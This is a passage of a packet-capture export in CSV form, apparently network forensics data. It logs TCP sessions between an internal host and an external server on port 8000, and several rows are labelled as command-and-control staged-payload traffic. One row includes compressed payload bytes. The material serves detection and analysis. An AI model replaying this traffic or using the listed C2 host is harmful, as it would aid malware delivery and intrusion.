\"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:08:08.937146,391,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b055400080063fa90a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45141, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16297, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:08.937151,392,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034caa640004006654dc0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eM....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51878, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25933, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:08:09.952752,393,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200893 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b056400080063fa80a98980bc0a3a789fa4e1f40a068777db68ec09650102014dc54000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45142, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16296, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200893, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56404, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:09.952784,394,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000034caa740004006654cc0a3a7890a98980b1f40fa4eb68ec096a068777e8010003f0af700000101050aa068777da068777e,\".$.6\n..$.)....E..4..@.@.eL....\n....@.N.....hw~...?\n......\n.hw}.hw~\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51879, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25932, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200893, 2691200894))]\"\"}}]\"\n2026-07-01 09:08:10.652875,395,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,FA,,,Ether > IP > TCP,3,TCP FA Seq=3062808726 Ack=2691200894,bc2411360d0cbc24112907bb080045000028caa8400040066557c0a3a7890a98980b1f40fa4eb68ec096a068777e5011003f0aeb0000,\".$.6\n..$.)....E..(..@.@.eW....\n....@.N.....hw~P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51880, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25943, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200894, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:08:10.653156,396,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=2691200894 Ack=3062808727,bc24112907bbbc2411360d0c080045000028b057400080063fa80a98980bc0a3a789fa4e1f40a068777eb68ec09750102014dc530000,\".$.)...$.6\n...E..(.W@...?.\n........N.@.hw~....P. ..S..\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45143, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16296, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200894, \"\"ack\"\": 3062808727, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56403, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:08:10.653612,397,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,FA,,,Ether > IP > TCP,3,TCP FA Seq=2691200894 Ack=3062808727,bc24112907bbbc2411360d0c080045000028b058400080063fa70a98980bc0a3a789fa4e1f40a068777eb68ec09750112014dc520000,\".$.)...$.6\n...E..(.X@...?.\n........N.@.hw~....P. ..R..\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45144, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16295, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200894, \"\"ack\"\": 3062808727, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"FA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56402, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:08:10.653626,398,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808727 Ack=2691200895,bc2411360d0cbc24112907bb0800450000280000400040063000c0a3a7890a98980b1f40fa4eb68ec097a068777f5010003ffc270000,\".$.6\n..$.)....E..(..@.@.0.....\n....@.N.....hw.P..?.'..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12288, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808727, \"\"ack\"\": 2691200895, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 64551, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:08:14.674358,399,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,S,,,Ether > IP > TCP,3,TCP S Seq=3789025638 Ack=0,bc24112907bbbc2411360d0c080045000034b059400080063f9a0a98980bc0a3a789fa541f40e1d7f166000000008002faf07c7b0000020405b40103030801010402,\".$.)...$.6\n...E..4.Y@...?.\n........T.@...f........|{..............\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 45145, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16282, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025638, \"\"ack\"\": 0, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"S\"\", \"\"window\"\": 64240, \"\"chksum\"\": 31867, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('WScale', 8), ('NOP', None), ('NOP', None), ('SAckOK', b'')]\"\"}}]\"\n2026-07-01 09:08:14.674395,400,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,SA,,,Ether > IP > TCP,3,TCP SA Seq=2738405697 Ack=3789025639,bc2411360d0cbc24112907bb0800450000340000400040062ff4c0a3a7890a98980b1f40fa54a338c141e1d7f1678012faf00af70000020405b4010104020103030a,\".$.6\n..$.)....E..4..@.@./.....\n....@.T.8.A...g....\n..............\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 0, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 12276, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405697, \"\"ack\"\": 3789025639, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"SA\"\", \"\"window\"\": 64240, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('MSS', 1460), ('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-01 09:08:14.674683,401,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3789025639 Ack=2738405698,bc24112907bbbc2411360d0c080045000028b05a400080063fa50a98980bc0a3a789fa541f40e1d7f167a338c1425010201433a00000,\".$.)...$.6\n...E..(.Z@...?.\n........T.@...g.8.BP. .3...\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 45146, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16293, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025639, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13216, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:08:14.688967,402,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=3789025639 Ack=2738405698,bc24112907bbbc2411360d0c0800450000c9b05b400080063f030a98980bc0a3a789fa541f40e1d7f167a338c14250182014fb9100009d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91eb7191c70531949a07004372acbc,\"........H...x.s.\\.R.Zd.b..A.%.......|..7..c..W...c6(p...c..y^../D..,,.9.4..l?.t.>._45.....l:.o..w....qZyq..\t...M.w5.\n_.`....=w..........W.~...z].m..q...1....Cr..\",[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 201, \"\"id\"\": 45147, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16131, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025639, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 64401, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"9d00c0ff9d00000048030000789c739f5cfb52e35a64c162fec3419d25d714fb17f91e977c9c1d37c9ea63cd0e57baf09b63362870ddcdba63fe96795ed6ce2f44e8bf2c2cfa398c34fb9c6c3fd674953e115f3435e19be5adc06c3afa6fd0f077b2bda9bd715a7971d91409a687ce4d1c77359e0a5fbe60b1b2b69f3d7781c81496bb83ccbdb4e457d87eabd9ed7a5db16d91eb7191c70531949a07004372acbc\"\"}}]\"\n2026-07-01 09:08:14.688990,403,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000284c3240004006e3cdc0a3a7890a98980b1f40fa54a338c142e1d7f2085010003f0aeb0000,\".$.6\n..$.)....E..(L2@.@.......\n....@.T.8.B....P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 19506, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58317, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:08:15.702806,404,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b05c400080063fa20a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45148, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16290, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:15.702824,405,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c3340004006e3c0c0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L3@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 19507, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 58304, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64084, \"\"seq\"\": 2738405698, \"\"ack\"\": 3789025800, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (3789025799, 3789025800))]\"\"}}]\"\n2026-07-01 09:08:16.702854,406,TCP 10.152.152.11:64084 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64084,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=3789025799 Ack=2738405698,bc24112907bbbc2411360d0c080045000029b05d400080063fa10a98980bc0a3a789fa541f40e1d7f207a338c1425010201432ff000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45149, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16289, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64084, \"\"dport\"\": 8000, \"\"seq\"\": 3789025799, \"\"ack\"\": 2738405698, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 13055, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:08:16.702888,407,TCP 192.163.167.137:8000 -> 10.152.152.11:64084,192.163.167.137,10.152.152.11,8000,64084,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2738405698 Ack=3789025800,bc2411360d0cbc24112907bb0800450000344c3440004006e3bfc0a3a7890a98980b1f40fa54a338c142e1d7f2088010003f0af700000101050ae1d7f207e1d7f208,\".$.6\n..$.)....E..4L4@.@.......\n....@.T.8.B.......?\n......\n........\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", 